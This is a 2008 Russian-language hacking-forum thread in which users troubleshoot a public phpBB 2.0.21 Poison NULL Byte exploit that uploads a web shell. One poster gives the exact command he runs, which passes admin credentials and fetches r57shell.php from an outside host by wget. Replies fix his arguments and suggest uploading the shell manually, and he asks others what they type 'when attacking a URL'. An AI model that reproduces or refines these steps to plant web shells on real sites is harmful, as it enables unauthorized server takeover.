Проблема с зливкой шелла на phpBB
Пользователи, просматривающие топик: none
|
Зашли как: Guest
|
Имя  |
| Сообщение |
<< Старые топики Новые топики >> |
|
|
Проблема с зливкой шелла на phpBB - 2008-04-10 02:54:58.716666
|
|
|
Zorgus
Сообщений: 1342
Оценки: 0
Присоединился: 2007-11-25 11:45:46.433333
|
2.0.21
phpBB <= 2.0.21 (Poison NULL Byte) Remote Exploit
http://milw0rm.com/exploits/2348
Эксплоит позволяет ЗНАЯ ПАСС АДМИНА заливать шелл на форум.. пасс админа добывется любым другимдоступным способом))
|
|
|
|
|
RE: Проблема с зливкой шелла на phpBB - 2008-04-10 02:58:49.720000
|
|
|
Zorgus
Сообщений: 1342
Оценки: 0
Присоединился: 2007-11-25 11:45:46.433333
|
Праписываю команду:
c:/perl script.pl http://localhost.com/forum/ [admin name] [admin pass (MD5)] images/avatars/wget http://localhost/r57shell.php
Что я делаю не так??? поправте меня пожалйсто…
|
|
|
|
|
RE: Проблема с зливкой шелла на phpBB - 2008-04-10 03:01:47.520000
|
|
|
blаcksun
Сообщений: 1670
Оценки: 0
Присоединился: 2007-11-19 20:03:45.703333
|
quote:
ORIGINAL: Zorgus
Праписываю команду:
c:/perl script.pl http://localhost.com/forum/ [admin name] [admin pass (MD5)] images/avatars/wget http://localhost/r57shell.php
Что я делаю не так??? поправте меня пожалйсто…
(MD5) - пасс не мд5 надо
images/avatars/wget - где расширение .php?
|
|
|
|
|
RE: Проблема с зливкой шелла на phpBB - 2008-04-10 03:09:38.373333
|
|
|
Zorgus
Сообщений: 1342
Оценки: 0
Присоединился: 2007-11-25 11:45:46.433333
|
ну вобщем то я пробовал пасс подстовлять в виде (12345) все равно не получается, а на счет расширения я подстовляю wget http://zargus.narod.ru/r57shell.php
А ты сам можешь попробовать??? может скрипт не пашет, переделывать нужно….8|
|
|
|
|
|
RE: Проблема с зливкой шелла на phpBB - 2008-04-10 03:11:00.906666
|
|
|
Zorgus
Сообщений: 1342
Оценки: 0
Присоединился: 2007-11-25 11:45:46.433333
|
Что бы я не сделал скрипт ссылает меня то на 52 line то на 53…..((((
|
|
|
|
|
RE: Проблема с зливкой шелла на phpBB - 2008-04-10 03:14:18.283333
|
|
|
blаcksun
Сообщений: 1670
Оценки: 0
Присоединился: 2007-11-19 20:03:45.703333
|
Лей вручную тогда.
[Обзор уязвимостей phpBB]
|
|
|
|
|
RE: Проблема с зливкой шелла на phpBB - 2008-04-10 03:25:02.186666
|
|
|
[ TRaY ]
Сообщений: 919
Оценки: 0
Присоединился: 2008-03-22 18:47:37.556666
|
quote:
ORIGINAL: Zorgus
ну вобщем то я пробовал пасс подстовлять в виде (12345) все равно не получается, а на счет расширения я подстовляю wget http://zargus.narod.ru/r57shell.php
А ты сам можешь попробовать??? может скрипт не пашет, переделывать нужно….8|
Извини, а "народ" начал поддерживать пхп???
|
|
|
|
|
RE: Проблема с зливкой шелла на phpBB - 2008-04-10 15:29:20.596666
|
|
|
AdReNaL1Ne
Сообщений: 8027
Оценки: 350
Присоединился: 2005-09-11 06:38:05
|
Для заливки и не надо чтобы поддерживал.
|
|
|
|
|
RE: Проблема с зливкой шелла на phpBB - 2008-04-10 16:04:12.933333
|
|
|
[ TRaY ]
Сообщений: 919
Оценки: 0
Присоединился: 2008-03-22 18:47:37.556666
|
quote:
ORIGINAL: AdReNaL1Ne
Для заливки и не надо чтобы поддерживал.
А, я просто первый пост неправильно прочитал, я подумал что на народе хочет проверить, а он его просто там держит…сорри
|
|
|
|
|
RE: Проблема с зливкой шелла на phpBB - 2008-04-12 19:46:39.346666
|
|
|
Zorgus
Сообщений: 1342
Оценки: 0
Присоединился: 2007-11-25 11:45:46.433333
|
А сами пробовали юзать??? опешитесь… кто как это делает и через какую прогу??? и что прописывате в командной сроке при нападении на url…?????
8|8D
|
|
|
|
|
|
